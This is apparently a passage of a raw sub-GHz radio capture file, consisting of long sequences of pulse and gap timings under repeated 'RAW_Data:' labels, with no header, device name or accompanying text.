-96 367 -94 125 -370 359 -96 359 -124 337 -128 91 -368 131 -334 123 -376 351 -102 141 -362 105 -336 371 -108 337 -128 95 -384 91 -378 103 -368 93 -380 95 -3736 135 -350 105 -336 123 -388 325 -124 349 -94 369 -96 369 -96 369 -94 123 -370 359 -96 357 -124 337 -128 93 -366 131 -334 123 -376 351 -102 141 -364 105 -336 371 -106 337 -128 97 -382 91 -380 101 -368 93 -382 93 -3736 127 -344 141 -336 133 -332 349 -140 337 -94 343 -126 369 -96 337 -128 127 -340 357 -140 337 -94 377 -94 121 -372 103 -368 123 -352 349 -104 143 -362 -RAW_Data: 105 -336 373 -108 337 -130 95 -384 91 -378 103 -366 93 -382 93 -3744 103 -380 105 -336 123 -356 357 -92 377 -94 369 -96 369 -96 369 -94 125 -356 345 -134 331 -124 337 -128 121 -370 101 -368 91 -382 351 -104 141 -362 105 -336 373 -108 337 -128 97 -382 91 -378 103 -368 91 -384 93 -3746 103 -344 139 -336 123 -374 349 -102 335 -124 337 -128 337 -128 337 -128 125 -342 355 -140 335 -94 393 -104 107 -344 123 -388 103 -360 351 -106 105 -384 103 -362 351 -106 359 -108 105 -362 143 -334 93 -384 93 -372 127 -3712 141 -336 97 -364 123 -360 327 -122 369 -94 369 -96 371 -96 337 -124 125 -354 345 -134 331 -124 335 -128 121 -372 101 -366 93 -380 351 -102 143 -362 105 -336 373 -108 337 -128 97 -382 91 -378 103 -368 91 -382 93 -3746 103 -380 103 -336 123 -356 359 -92 375 -94 369 -96 369 -96 369 -94 125 -370 327 -128 355 -124 337 -128 93 -366 131 -334 121 -378 351 -104 141 -362 105 -336 371 -108 337 -128 95 -384 91 -378 101 -368 125 -350 93 -3738 135 -350 105 -338 123 -354 359 -124 347 -92 369 -96 369 -96 369 -94 125 -368 361 -96 357 -124 337 -128 91 -368 131 -334 123 -376 349 -104 141 -364 105 -334 371 -108 339 -128 95 -384 91 -378 101 -368 125 -350 93 -3738 135 -350 105 -338 123 -354 361 -92 377 -94 369 -96 369 -96 369 -94 123 -370 359 -96 357 -124 337 -128 93 -366 131 -334 121 -378 351 -102 141 -364 105 -334 371 -108 337 -128 97 -382 93 -378 101 -368 93 -382 93 -3736 125 -346 141 -336 133 -330 351 -140 335 -94 375 -94 369 -96 369 -96 127 -370 327 -142 335 -94 379 -94 121 -372 103 -368 123 -352 351 -104 141 -362 107 -336 371 -108 337 -128 97 -382 91 -378 103 -368 91 -384 93 -3734 127 -344 139 -338 133 -332 349 -142 335 -94 375 -94 369 -98 337 -128 125 -340 357 -142 335 -94 379 -94 121 -372 101 -368 125 -350 351 -104 141 -362 105 -338 373 -108 337 -128 97 -382 91 -378 103 -368 91 -382 95 -3732 129 -342 141 -338 133 -332 349 -142 335 -94 375 -96 369 -96 337 -128 125 -342 357 -140 335 -96 377 -94 121 -372 101 -370 123 -350 351 -104 143 -362 105 -336 373 -108 337 -128 97 -382 91 -380 101 -368 91 -384 93 -3740 103 -382 105 -336 123 -354 357 -92 377 -94 369 -96 371 -96 369 -94 125 -370 327 -128 357 -124 337 -128 91 -368 131 -334 123 -376 351 -102 141 -362 105 -336 371 -108 337 -128 97 -382 91 -380 101 -368 -RAW_Data: 93 -382 93 -3738 135 -350 105 -336 123 -388 325 -124 347 -94 369 -96 371 -96 367 -94 125 -370 357 -96 359 -122 337 -128 91 -368 131 -334 121 -378 351 -104 141 -362 105 -336 371 -108 337 -128 97 -382 91 -380 101 -368 93 -382 93 -3742 101 -382 105 -336 123 -354 359 -92 379 -94 367 -96 371 -96 369 -94 123 -370 359 -96 357 -124 337 -128 91 -368 131 -334 123 -376 349 -104 141 -364 105 -334 371 -108 337 -128 95 -382 93 -378 103 -368 93 -382 93 -3746 103 -378 105 -336 123 -354 359 -92 391 -106 359 -106 345 -102 363 -94 139 -340 373 -106 337 -130 353 -94 121 -372 101 -368 125 -352 351 -104 141 -362 105 -336 373 -106 337 -130 95 -384 91 -380 101 -368 93 -382 95 -3734 127 -344 123 -352 139 -334 363 -108 339 -128 349 -94 369 -96 369 -96 125 -370 361 -108 335 -96 379 -94 121 -372 137 -332 125 -352 351 -102 143 -362 105 -338 373 -108 337 -128 97 -370 139 -336 125 -350 125 -340 129 -3714 105 -372 97 -364 123 -360 327 -122 361 -104 359 -108 339 -126 355 -106 139 -362 329 -126 347 -94 369 -96 125 -366 129 -332 121 -376 349 -104 139 -362 105 -336 371 -106 339 -128 97 -382 91 -380 101 -368 91 -382 95 -3744 103 -378 105 -336 123 -354 359 -92 377 -94 369 -96 369 -96 369 -92 125 -370 359 -96 357 -92 369 -128 91 -368 129 -334 123 -378 349 -104 141 -888090 165 -326 121 -370 95 -372 349 -130 329 -122 339 -128 337 -128 337 -126 95 -386 317 -134 333 -124 341 -126 121 -372 101 -366 93 -382 317 -136 105 -396 105 -336 367 -108 335 -130 97 -382 93 -380 101 -368 93 -380 95 -3734 95 -364 139 -334 93 -384 351 -102 337 -124 341 -126 337 -128 337 -128 127 -342 355 -140 333 -94 345 -126 123 -372 101 -366 93 -382 351 -104 141 -362 105 -334 371 -108 337 -128 97 -372 105 -368 93 -384 93 -372 129 -3716 105 -336 127 -360 123 -360 329 -122 337 -126 337 -130 337 -126 337 -124 125 -348 347 -134 331 -122 337 -128 121 -338 133 -366 91 -380 351 -102 141 -362 105 -336 371 -108 337 -130 95 -370 105 -370 93 -384 93 -372 129 -3706 91 -384 101 -368 93 -380 351 -102 337 -124 341 -126 337 -128 337 -128 127 -342 355 -140 335 -94 345 -126 121 -372 101 -368 91 -384 349 -104 141 -362 105 -336 371 -108 337 -130 95 -372 105 -368 93 -384 93 -372 129 -3708 103 -370 97 -364 123 -340 349 -132 335 -124 337 -126 337 -130 337 -126 127 -346 353 -140 333 -94 343 -126 -RAW_Data: 121 -372 101 -368 93 -382 351 -102 141 -362 105 -336 371 -106 339 -128 95 -384 91 -378 103 -368 91 -382 95 -3712 137 -342 137 -336 121 -358 359 -90 387 -104 361 -108 337 -128 315 -126 121 -372 353 -104 347 -138 331 -94 139 -340 129 -358 125 -338 349 -132 103 -396 105 -334 367 -108 337 -128 95 -370 141 -334 125 -352 93 -370 129 -3714 105 -338 129 -362 123 -360 327 -122 361 -104 359 -108 337 -124 355 -140 107 -358 331 -126 349 -94 369 -96 123 -368 95 -364 123 -376 319 -134 105 -396 105 -334 369 -108 337 -128 95 -384 91 -380 101 -366 93 -384 93 -3742 103 -376 105 -334 123 -356 359 -92 377 -94 369 -96 369 -96 339 -124 125 -354 349 -132 331 -124 337 -128 121 -370 101 -368 91 -380 351 -102 141 -362 105 -336 371 -108 337 -128 97 -382 93 -378 101 -368 93 -384 93 -3736 93 -380 105 -370 97 -362 351 -140 301 -126 343 -126 337 -130 337 -128 125 -342 357 -140 333 -126 315 -126 121 -372 103 -366 93 -382 351 -104 141 -362 105 -334 373 -108 337 -128 97 -382 93 -378 103 -366 93 -384 93 -3742 103 -344 137 -336 123 -356 357 -92 391 -104 361 -106 343 -102 363 -92 139 -342 373 -106 337 -130 321 -124 121 -374 101 -368 93 -384 349 -104 141 -362 105 -336 373 -106 337 -130 95 -384 91 -380 101 -368 93 -382 93 -3740 103 -378 105 -336 121 -356 359 -122 347 -94 369 -96 369 -96 369 -94 125 -356 347 -132 331 -124 337 -128 121 -370 101 -368 91 -382 351 -102 141 -362 105 -336 371 -106 339 -128 97 -382 105 -370 97 -362 123 -340 127 -3706 125 -356 139 -334 125 -352 349 -104 337 -124 341 -126 337 -130 337 -128 125 -344 355 -140 333 -94 347 -124 123 -370 103 -368 91 -384 351 -104 141 -362 105 -336 373 -106 339 -128 97 -382 93 -378 101 -368 93 -380 95 -3742 103 -378 103 -336 123 -354 359 -92 377 -96 369 -96 369 -96 339 -124 125 -354 347 -132 333 -124 337 -128 121 -370 101 -366 93 -382 349 -104 141 -362 105 -336 371 -108 337 -128 97 -382 91 -380 101 -368 93 -384 93 -3742 103 -378 103 -336 123 -352 359 -124 347 -94 369 -96 369 -96 369 -94 125 -356 347 -132 333 -124 337 -126 123 -370 101 -366 93 -382 349 -104 141 -362 105 -336 371 -106 337 -130 97 -382 91 -380 101 -368 93 -382 93 -3748 103 -342 137 -336 121 -374 349 -102 337 -122 357 -106 359 -144 303 -124 141 -340 351 -124 355 -104 333 -124 143 -342 101 -364 125 -358 329 -122 143 -342 99 -366 -RAW_Data: 351 -140 333 -94 125 -364 139 -334 127 -354 93 -372 127 -3708 123 -354 103 -368 125 -350 349 -104 337 -124 341 -126 337 -128 339 -128 125 -342 355 -140 335 -94 345 -126 121 -372 101 -368 93 -384 349 -104 141 -362 105 -336 373 -108 337 -128 97 -382 107 -368 97 -362 125 -338 127 -3706 125 -358 139 -334 125 -350 351 -104 337 -124 341 -126 337 -130 337 -128 125 -344 355 -140 333 -94 377 -94 121 -372 101 -368 93 -384 351 -102 143 -362 105 -336 373 -106 337 -128 97 -384 105 -368 97 -362 125 -338 129 -3710 139 -338 135 -332 121 -360 327 -122 341 -126 371 -96 337 -128 337 -126 125 -352 347 -132 331 -124 337 -128 121 -370 101 -366 93 -382 349 -104 141 -362 105 -336 371 -108 337 -128 97 -382 93 -378 103 -368 91 -382 95 -3738 103 -380 103 -338 123 -354 359 -124 345 -94 369 -96 371 -96 369 -94 123 -358 345 -134 331 -124 337 -128 121 -370 101 -368 91 -382 351 -102 143 -362 105 -334 373 -106 337 -128 97 -382 105 -370 97 -362 123 -340 127 -3712 139 -338 133 -334 121 -360 329 -120 373 -94 371 -96 337 -128 337 -126 125 -352 347 -132 333 -122 337 -128 121 -372 101 -366 91 -382 349 -104 141 -364 105 -334 371 -108 337 -128 97 -382 93 -378 103 -368 91 -384 93 -3734 95 -378 107 -370 97 -364 351 -140 335 -94 343 -126 369 -98 337 -128 125 -342 357 -140 335 -94 347 -126 121 -372 101 -366 93 -384 351 -102 143 -362 105 -336 371 -108 337 -128 97 -384 91 -380 101 -368 93 -382 93 -3734 93 -380 139 -336 99 -364 349 -140 335 -94 345 -126 337 -130 337 -128 125 -344 355 -140 335 -94 345 -126 121 -372 101 -368 93 -384 349 -104 141 -364 103 -336 373 -108 337 -128 97 -382 93 -378 101 -368 93 -382 93 -3734 127 -346 123 -350 139 -332 365 -108 337 -128 319 -126 369 -96 339 -128 125 -372 327 -140 335 -126 317 -124 121 -372 101 -368 125 -350 351 -104 141 -362 105 -336 373 -108 337 -128 97 -384 91 -380 101 -368 93 -382 93 -3742 103 -380 103 -336 123 -354 357 -124 347 -94 391 -104 357 -108 335 -122 109 -374 343 -108 339 -128 323 -126 121 -372 101 -368 93 -384 351 -102 143 -362 105 -336 373 -106 337 -128 97 -382 93 -378 103 -368 91 -384 93 -3736 93 -378 107 -370 97 -364 349 -140 335 -94 345 -126 339 -128 337 -128 125 -344 355 -140 335 -94 347 -126 121 -372 101 -368 91 -384 351 -104 141 -362 105 -336 373 -106 337 -130 95 -384 91 -380 101 -368 93 -382 -RAW_Data: 93 -3744 103 -378 103 -336 123 -354 359 -124 345 -94 391 -104 359 -106 335 -124 107 -376 343 -106 337 -130 355 -94 119 -374 101 -368 125 -352 351 -102 143 -362 105 -336 373 -106 339 -128 97 -382 91 -380 103 -368 91 -382 95 -3734 125 -346 141 -336 99 -364 349 -140 335 -94 345 -126 369 -96 339 -128 125 -342 357 -140 335 -94 347 -126 121 -372 101 -368 93 -384 349 -104 141 -362 105 -336 373 -106 337 -128 97 -382 93 -378 103 -368 91 -384 93 -3746 103 -344 139 -334 123 -356 359 -92 391 -104 361 -104 345 -102 361 -94 139 -340 375 -106 337 -130 367 -106 107 -344 123 -374 95 -372 347 -96 135 -356 107 -370 329 -142 335 -128 95 -368 141 -334 125 -352 95 -370 129 -3706 141 -336 133 -332 123 -338 349 -134 335 -122 339 -126 337 -128 339 -126 127 -344 355 -140 333 -94 347 -126 121 -372 101 -368 91 -382 351 -104 141 -362 105 -336 373 -108 337 -128 97 -382 93 -378 103 -368 91 -382 95 -3744 103 -344 137 -336 123 -354 359 -92 377 -96 355 -140 359 -106 335 -124 107 -344 375 -106 339 -128 353 -94 121 -372 101 -368 125 -352 349 -104 141 -364 105 -336 373 -106 337 -130 95 -384 105 -368 97 -364 123 -338 129 -3704 125 -360 141 -334 123 -352 349 -104 337 -124 341 -128 337 -128 337 -128 125 -342 357 -140 333 -94 347 -126 121 -372 101 -368 93 -384 351 -102 143 -362 105 -336 373 -106 337 -128 97 -382 93 -378 103 -368 91 -384 93 -3734 127 -346 141 -336 97 -366 349 -140 335 -94 345 -126 337 -128 337 -128 127 -342 355 -140 335 -96 347 -124 121 -372 103 -366 93 -384 351 -102 143 -362 105 -336 371 -108 337 -128 97 -382 93 -378 103 -368 91 -382 95 -3746 103 -376 105 -334 123 -356 359 -92 377 -94 369 -96 371 -96 367 -94 125 -356 347 -132 333 -122 339 -126 121 -372 101 -366 91 -382 351 -102 141 -362 105 -336 373 -108 337 -128 97 -382 93 -378 103 -368 91 -384 93 -3738 101 -382 105 -336 123 -388 325 -124 347 -94 369 -96 369 -96 371 -94 125 -370 327 -128 355 -124 339 -128 91 -368 131 -332 123 -376 319 -134 141 -362 105 -334 373 -106 337 -128 97 -382 93 -378 101 -368 93 -382 95 -3734 95 -378 123 -350 139 -332 363 -108 339 -128 319 -126 369 -96 337 -128 127 -372 325 -140 335 -128 315 -126 121 -372 101 -368 93 -384 351 -102 143 -362 105 -336 371 -106 339 -128 97 -382 91 -380 103 -368 91 -382 95 -3734 95 -378 123 -352 137 -334 363 -108 339 -126 -RAW_Data: 319 -124 369 -98 337 -128 127 -370 327 -140 335 -126 317 -126 121 -372 101 -368 93 -382 351 -102 143 -362 105 -336 373 -106 337 -130 97 -382 105 -368 97 -362 125 -370 95 -3712 139 -338 135 -334 123 -360 327 -122 353 -140 361 -108 335 -94 347 -126 121 -372 353 -104 347 -138 331 -92 139 -342 127 -360 125 -360 327 -122 121 -350 137 -336 369 -108 337 -130 95 -384 91 -380 101 -368 93 -384 93 -3734 95 -378 123 -352 137 -334 363 -108 337 -128 319 -124 369 -98 337 -128 127 -370 327 -140 335 -126 317 -126 121 -372 101 -368 93 -382 351 -102 143 -362 105 -336 373 -106 339 -128 97 -382 91 -380 103 -368 91 -382 95 -3734 125 -346 141 -336 97 -366 351 -140 335 -94 343 -126 371 -96 337 -128 125 -344 355 -140 335 -94 349 -124 121 -372 101 -368 93 -384 351 -102 143 -362 105 -336 373 -106 337 -128 97 -382 93 -378 103 -366 93 -382 95 -3734 127 -346 123 -352 137 -334 363 -108 339 -128 317 -126 369 -96 339 -128 125 -372 327 -140 335 -126 315 -126 121 -372 101 -368 91 -384 351 -104 141 -362 105 -336 373 -108 337 -128 97 -382 105 -370 97 -362 123 -372 95 -3710 139 -340 135 -334 123 -360 327 -122 353 -140 361 -106 337 -94 347 -126 121 -370 353 -106 345 -140 331 -92 139 -342 127 -360 123 -340 349 -132 103 -396 105 -334 367 -108 337 -128 97 -384 91 -378 101 -368 93 -382 95 -3732 127 -346 141 -336 131 -332 349 -140 335 -94 347 -126 337 -128 337 -128 127 -342 355 -140 335 -96 345 -126 121 -372 101 -368 93 -384 349 -104 141 -364 103 -336 373 -106 339 -128 97 -382 91 -380 101 -368 93 -382 95 -3732 127 -346 141 -336 133 -330 351 -140 335 -94 345 -126 337 -130 337 -128 125 -342 357 -140 335 -94 347 -124 123 -372 101 -368 91 -384 351 -104 141 -362 105 -336 371 -108 337 -130 95 -384 91 -380 101 -368 93 -382 93 -3738 101 -382 105 -336 123 -386 325 -124 351 -94 369 -96 369 -96 369 -96 125 -370 327 -126 357 -124 337 -128 91 -368 131 -334 121 -378 319 -134 141 -362 105 -334 371 -108 337 -128 97 -382 93 -378 103 -368 91 -382 95 -3734 95 -378 141 -336 97 -364 351 -140 335 -94 345 -126 337 -130 337 -128 125 -342 357 -140 335 -92 379 -94 121 -372 101 -368 125 -352 349 -104 141 -362 105 -338 373 -106 337 -128 97 -382 93 -380 101 -368 93 -382 93 -3738 103 -382 105 -336 123 -386 325 -124 349 -94 369 -96 371 -96 369 -94 123 -370 329 -126 357 -124 -RAW_Data: 337 -128 93 -368 131 -332 123 -378 317 -134 141 -362 105 -336 371 -106 337 -130 95 -384 91 -380 101 -368 93 -382 93 -3738 103 -382 105 -336 123 -386 325 -124 349 -94 369 -96 369 -98 369 -92 125 -358 345 -134 331 -124 337 -128 121 -370 101 -366 93 -382 351 -102 141 -362 105 -336 373 -108 337 -128 97 -382 91 -380 103 -368 91 -384 93 -3738 103 -380 105 -336 123 -388 325 -124 349 -94 369 -96 369 -96 369 -94 125 -370 327 -128 357 -124 337 -128 91 -368 131 -334 121 -378 319 -134 141 -362 105 -334 371 -106 339 -128 97 -382 91 -380 103 -366 93 -382 95 -3746 103 -376 105 -334 123 -374 351 -102 335 -124 339 -126 337 -130 337 -128 125 -344 355 -140 333 -94 357 -140 107 -342 123 -388 101 -360 351 -106 105 -384 103 -362 351 -106 359 -108 105 -398 105 -334 127 -352 93 -372 129 -3712 105 -370 99 -364 123 -358 327 -122 339 -126 371 -96 337 -128 337 -126 123 -354 347 -132 331 -124 337 -128 121 -370 101 -368 91 -382 349 -104 141 -362 105 -336 373 -106 337 -130 95 -384 91 -380 101 -368 93 -382 95 -3746 103 -344 139 -334 123 -356 359 -92 389 -106 359 -106 345 -102 361 -92 141 -340 373 -108 337 -130 333 -142 107 -342 123 -374 95 -372 347 -96 135 -356 107 -368 365 -106 337 -128 95 -370 139 -334 127 -352 93 -372 129 -3714 105 -368 99 -362 123 -360 329 -122 339 -126 337 -130 337 -128 337 -124 123 -354 345 -134 331 -124 337 -126 123 -370 101 -366 93 -380 351 -104 141 -362 105 -336 373 -106 337 -128 97 -384 91 -380 101 -368 93 -382 95 -3738 101 -382 105 -336 123 -386 325 -124 349 -94 369 -96 369 -98 369 -92 125 -370 329 -126 357 -124 337 -128 93 -368 129 -334 123 -376 319 -134 141 -362 105 -336 371 -106 337 -130 95 -382 93 -380 101 -368 93 -382 93 -3746 103 -378 103 -336 123 -374 349 -102 337 -124 355 -140 323 -142 303 -126 139 -374 319 -124 357 -104 335 -124 121 -354 139 -334 127 -368 333 -132 103 -394 69 -368 333 -140 337 -128 95 -368 105 -368 93 -400 103 -360 101 -3728 97 -394 101 -358 107 -370 327 -140 337 -94 395 -104 361 -106 345 -102 135 -354 353 -92 363 -106 337 -124 121 -356 139 -334 127 -354 351 -104 141 -364 105 -336 375 -108 339 -128 95 -370 141 -334 125 -352 125 -340 127 -3714 105 -370 99 -364 123 -360 327 -122 357 -106 359 -108 371 -94 371 -96 121 -370 355 -106 347 -104 365 -92 139 -340 127 -358 125 -360 327 -122 121 -350 -RAW_Data: 125 -342 387 -106 343 -102 137 -356 105 -338 125 -382 103 -360 139 -3678 133 -358 103 -384 105 -338 351 -142 335 -94 377 -94 369 -96 369 -96 125 -370 361 -108 337 -94 379 -94 121 -372 137 -334 123 -352 351 -104 141 -362 107 -334 375 -108 337 -128 95 -372 141 -334 125 -352 125 -338 129 -3710 141 -336 97 -366 123 -360 327 -122 369 -96 369 -96 369 -96 367 -94 125 -354 347 -132 333 -122 369 -94 121 -372 101 -368 91 -382 351 -102 143 -362 105 -336 373 -108 337 -128 97 -370 141 -334 125 -352 125 -340 127 -3704 125 -356 139 -332 125 -352 349 -104 339 -122 371 -96 369 -96 369 -96 125 -340 357 -140 337 -94 379 -94 121 -372 101 -370 123 -350 351 -104 143 -362 105 -336 375 -106 339 -128 95 -370 141 -334 125 -352 125 -340 129 -3708 139 -338 133 -332 121 -360 329 -122 369 -94 369 -98 369 -96 367 -94 123 -354 347 -132 333 -122 369 -96 121 -370 101 -368 123 -350 351 -102 143 -362 105 -336 375 -108 337 -128 95 -372 141 -334 125 -352 125 -338 129 -3710 141 -336 99 -364 123 -360 327 -122 369 -96 369 -96 369 -96 369 -92 125 -354 347 -132 333 -122 337 -128 121 -370 101 -368 93 -380 351 -104 141 -362 105 -336 373 -108 337 -130 95 -382 93 -376 103 -368 123 -352 125 -3702 127 -342 141 -336 135 -332 351 -140 335 -94 375 -94 369 -96 369 -96 127 -368 361 -108 337 -94 379 -94 121 -372 103 -368 123 -352 351 -104 141 -364 105 -336 373 -108 337 -128 95 -382 107 -370 97 -362 123 -338 129 -3704 137 -342 137 -334 123 -360 359 -92 389 -104 361 -108 337 -94 377 -94 121 -370 355 -104 349 -104 365 -92 139 -340 129 -358 125 -338 349 -132 139 -362 105 -334 369 -108 337 -128 95 -372 139 -336 125 -350 125 -340 129 -3704 125 -356 139 -334 123 -352 349 -104 339 -122 371 -94 369 -96 371 -94 127 -338 359 -140 337 -94 379 -94 121 -372 101 -368 125 -352 349 -104 141 -364 103 -338 373 -106 337 -130 95 -382 105 -370 97 -362 123 -372 95 -3712 139 -338 135 -334 123 -360 359 -90 391 -104 361 -108 337 -94 385 -106 105 -362 331 -128 353 -94 367 -128 91 -368 131 -332 123 -376 349 -102 143 -362 105 -336 371 -108 339 -128 95 -370 141 -334 125 -352 125 -338 129 -3712 141 -336 97 -366 123 -360 327 -122 357 -106 359 -108 371 -94 371 -96 121 -370 355 -104 347 -104 365 -94 137 -342 127 -360 123 -340 347 -132 139 -326 141 -336 367 -108 337 -128 95 -372 141 -334 125 -352 -RAW_Data: 125 -338 129 -3712 141 -334 99 -364 123 -360 327 -122 355 -140 361 -108 337 -94 343 -126 121 -370 355 -104 347 -104 365 -92 139 -340 129 -360 123 -360 327 -124 119 -350 125 -342 385 -106 345 -102 137 -356 105 -338 125 -384 103 -360 139 -3674 133 -358 137 -350 107 -336 353 -142 335 -96 377 -94 369 -96 369 -96 125 -370 329 -140 335 -128 317 -124 123 -372 101 -368 91 -384 351 -104 141 -362 105 -336 373 -106 337 -130 97 -382 91 -380 101 -368 93 -384 93 -3736 125 -346 123 -350 139 -334 363 -110 339 -126 349 -94 369 -96 369 -96 125 -370 363 -108 335 -94 381 -94 121 -372 101 -368 125 -352 349 -104 143 -362 105 -336 373 -108 339 -128 95 -384 91 -378 101 -368 125 -348 125 -3714 101 -382 103 -336 123 -356 359 -92 377 -94 367 -98 369 -96 369 -94 123 -370 359 -96 359 -92 367 -128 93 -366 131 -334 121 -378 351 -102 143 -362 105 -336 373 -108 337 -128 97 -370 139 -336 125 -350 125 -340 129 -3712 139 -336 99 -364 123 -360 327 -122 369 -96 369 -96 369 -96 369 -92 125 -354 347 -132 333 -122 369 -94 123 -370 101 -368 91 -382 349 -104 143 -362 105 -336 373 -108 339 -128 95 -372 141 -334 125 -352 125 -338 129 -3712 105 -370 99 -364 123 -360 327 -122 355 -140 361 -108 335 -94 375 -96 121 -370 355 -106 347 -104 363 -92 139 -342 127 -360 123 -360 327 -122 121 -350 139 -336 369 -108 337 -130 95 -384 91 -378 103 -368 123 -350 125 -3702 127 -344 123 -354 139 -334 367 -108 339 -128 349 -94 367 -98 369 -96 125 -368 363 -106 337 -96 379 -94 121 -372 101 -370 123 -352 351 -104 141 -364 105 -336 371 -108 339 -128 97 -382 91 -378 103 -368 125 -348 125 -3702 127 -344 123 -354 139 -334 367 -108 339 -94 381 -94 369 -96 369 -96 125 -370 361 -108 337 -94 381 -92 121 -372 103 -368 123 -352 351 -104 141 -364 105 -336 373 -108 339 -128 95 -372 139 -336 123 -352 125 -340 129 -3706 139 -336 135 -332 121 -340 381 -102 335 -124 369 -94 369 -98 337 -126 125 -342 357 -140 337 -94 377 -94 121 -372 101 -368 125 -350 351 -104 141 -362 105 -336 375 -106 339 -128 97 -382 91 -380 103 -368 91 -382 95 -3734 127 -344 123 -350 139 -336 365 -108 339 -128 349 -94 369 -96 369 -96 125 -370 361 -108 335 -96 379 -94 121 -372 101 -370 123 -352 351 -102 143 -362 105 -338 373 -108 339 -128 95 -370 141 -334 125 -352 125 -340 127 -3714 105 -370 99 -364 123 -360 327 -122 -RAW_Data: 369 -96 369 -96 369 -96 367 -94 125 -354 345 -134 331 -122 369 -96 121 -370 103 -366 125 -350 351 -102 143 -362 105 -336 373 -108 339 -128 95 -352 123 -378 101 -370 123 -350 125 -3712 103 -380 105 -336 123 -356 359 -92 375 -94 369 -96 369 -96 369 -94 123 -370 359 -96 359 -92 369 -128 121 -336 133 -334 123 -376 351 -104 141 -362 107 -336 369 -108 339 -128 95 -372 139 -334 125 -352 125 -340 129 -3706 139 -338 133 -332 123 -338 381 -104 335 -122 369 -96 369 -96 337 -128 125 -342 355 -142 335 -94 377 -94 121 -372 101 -368 125 -352 349 -104 143 -362 105 -336 373 -108 339 -128 95 -384 91 -378 101 -368 125 -350 125 -3710 101 -382 105 -336 123 -354 359 -92 379 -94 369 -96 371 -96 367 -94 125 -368 359 -96 361 -124 337 -128 91 -368 131 -334 123 -376 351 -102 141 -362 105 -334 373 -106 337 -130 95 -382 93 -380 101 -368 93 -382 95 -3734 127 -344 141 -336 135 -330 349 -140 337 -94 375 -94 369 -96 369 -96 125 -372 327 -140 337 -126 317 -126 121 -372 101 -366 125 -352 351 -102 143 -362 105 -336 373 -108 337 -128 97 -382 93 -378 103 -368 91 -384 93 -3738 135 -350 105 -336 123 -354 359 -124 347 -94 369 -96 369 -96 369 -94 123 -360 345 -132 335 -122 339 -128 121 -370 101 -368 93 -382 349 -104 141 -362 105 -336 373 -106 339 -128 97 -382 93 -380 101 -368 93 -382 93 -3742 101 -382 105 -336 123 -356 359 -90 377 -94 369 -96 371 -96 367 -94 125 -370 359 -96 359 -92 367 -128 121 -338 131 -336 121 -376 351 -104 141 -364 105 -334 371 -108 339 -128 95 -372 141 -334 125 -350 125 -340 129 -3706 139 -338 133 -332 123 -338 381 -104 335 -122 371 -94 369 -96 337 -128 125 -342 357 -140 335 -94 377 -94 121 -372 103 -368 125 -350 351 -104 141 -364 105 -336 373 -108 339 -128 95 -370 141 -334 125 -352 125 -340 127 -3710 139 -338 133 -330 123 -360 329 -122 369 -96 369 -96 369 -96 369 -92 125 -356 345 -132 333 -122 369 -96 121 -370 101 -368 125 -348 351 -102 143 -362 105 -338 373 -108 337 -128 95 -382 93 -378 101 -370 123 -350 125 -3704 127 -344 123 -352 139 -336 365 -108 339 -128 349 -92 369 -96 371 -96 125 -370 361 -108 335 -96 379 -94 121 -372 101 -370 123 -352 351 -102 143 -362 105 -338 373 -108 339 -128 95 -370 141 -334 125 -352 125 -338 129 -3706 139 -338 133 -334 121 -362 357 -92 371 -94 369 -96 371 -96 367 -94 125 -354 347 -132 -RAW_Data: 331 -124 369 -94 121 -372 101 -368 123 -350 351 -102 143 -362 105 -338 373 -108 337 -130 95 -372 139 -334 125 -352 125 -340 129 -3704 125 -356 139 -334 123 -352 349 -104 339 -122 371 -94 369 -98 369 -96 125 -370 327 -140 337 -94 379 -94 121 -372 103 -368 125 -350 349 -104 143 -362 105 -336 375 -108 337 -128 97 -370 141 -334 125 -352 125 -340 129 -3712 105 -372 97 -364 123 -360 327 -122 369 -96 369 -96 369 -96 369 -92 125 -354 347 -132 333 -122 369 -96 121 -370 103 -366 93 -380 351 -104 141 -364 105 -336 373 -108 337 -128 97 -370 141 -334 125 -352 125 -338 129 -3706 139 -338 135 -332 123 -338 381 -102 337 -122 369 -96 369 -96 337 -128 125 -342 357 -140 335 -94 377 -94 121 -372 101 -370 123 -352 349 -104 143 -362 105 -336 375 -108 337 -128 97 -372 141 -334 125 -350 125 -340 129 -3708 125 -354 103 -368 125 -350 349 -104 339 -122 371 -96 369 -96 369 -96 125 -370 327 -140 337 -94 379 -94 121 -372 103 -368 125 -350 351 -104 141 -364 105 -336 373 -108 339 -128 95 -372 139 -336 123 -352 125 -340 129 -3706 139 -338 133 -332 123 -360 329 -120 371 -94 369 -98 369 -96 369 -92 125 -354 347 -132 333 -124 367 -96 121 -370 101 -368 123 -350 351 -104 141 -364 105 -336 373 -108 339 -128 95 -372 139 -334 125 -352 125 -340 129 -3710 139 -338 133 -330 123 -360 327 -122 371 -94 369 -96 369 -96 339 -124 125 -354 347 -132 333 -122 339 -126 121 -372 101 -366 93 -382 351 -102 141 -362 105 -336 373 -106 337 -130 97 -382 93 -378 103 -368 91 -384 93 -3746 101 -380 103 -336 123 -356 359 -92 375 -94 369 -96 369 -96 369 -94 125 -358 345 -134 333 -122 369 -96 121 -370 101 -368 123 -352 351 -102 143 -362 107 -336 373 -106 339 -128 97 -372 141 -334 125 -350 125 -340 129 -3706 125 -354 137 -334 125 -350 349 -104 339 -124 371 -94 369 -98 369 -96 125 -370 327 -142 335 -94 379 -94 121 -372 103 -368 123 -352 351 -104 141 -364 105 -336 373 -108 339 -128 95 -382 105 -370 97 -362 123 -338 129 -3710 139 -340 135 -334 123 -360 359 -90 391 -104 361 -108 337 -94 385 -106 105 -348 343 -132 333 -122 371 -96 121 -370 101 -368 123 -352 349 -104 143 -362 105 -336 375 -106 339 -128 95 -382 105 -370 97 -362 123 -338 129 -3710 139 -338 137 -334 121 -358 359 -92 387 -104 361 -108 337 -96 379 -94 121 -372 355 -106 349 -104 365 -94 139 -340 127 -360 123 -340 349 -132 -RAW_Data: 103 -396 105 -334 367 -108 337 -128 97 -382 91 -380 101 -368 93 -382 95 -3744 103 -378 105 -336 123 -356 359 -92 375 -94 369 -96 369 -96 369 -94 125 -368 361 -96 359 -122 337 -128 91 -368 131 -334 123 -378 349 -104 141 -362 107 -336 371 -108 337 -128 95 -382 105 -370 97 -362 123 -338 129 -3714 139 -338 135 -334 123 -338 381 -102 337 -122 359 -104 359 -144 301 -126 141 -340 351 -124 355 -104 335 -122 145 -342 99 -364 125 -358 329 -122 141 -344 135 -332 351 -140 333 -94 127 -364 139 -334 125 -370 103 -360 103 -3724 133 -360 101 -358 143 -304 391 -108 337 -96 393 -104 361 -106 345 -102 135 -354 353 -94 361 -106 337 -124 121 -356 123 -342 133 -336 389 -108 107 -346 127 -338 377 -94 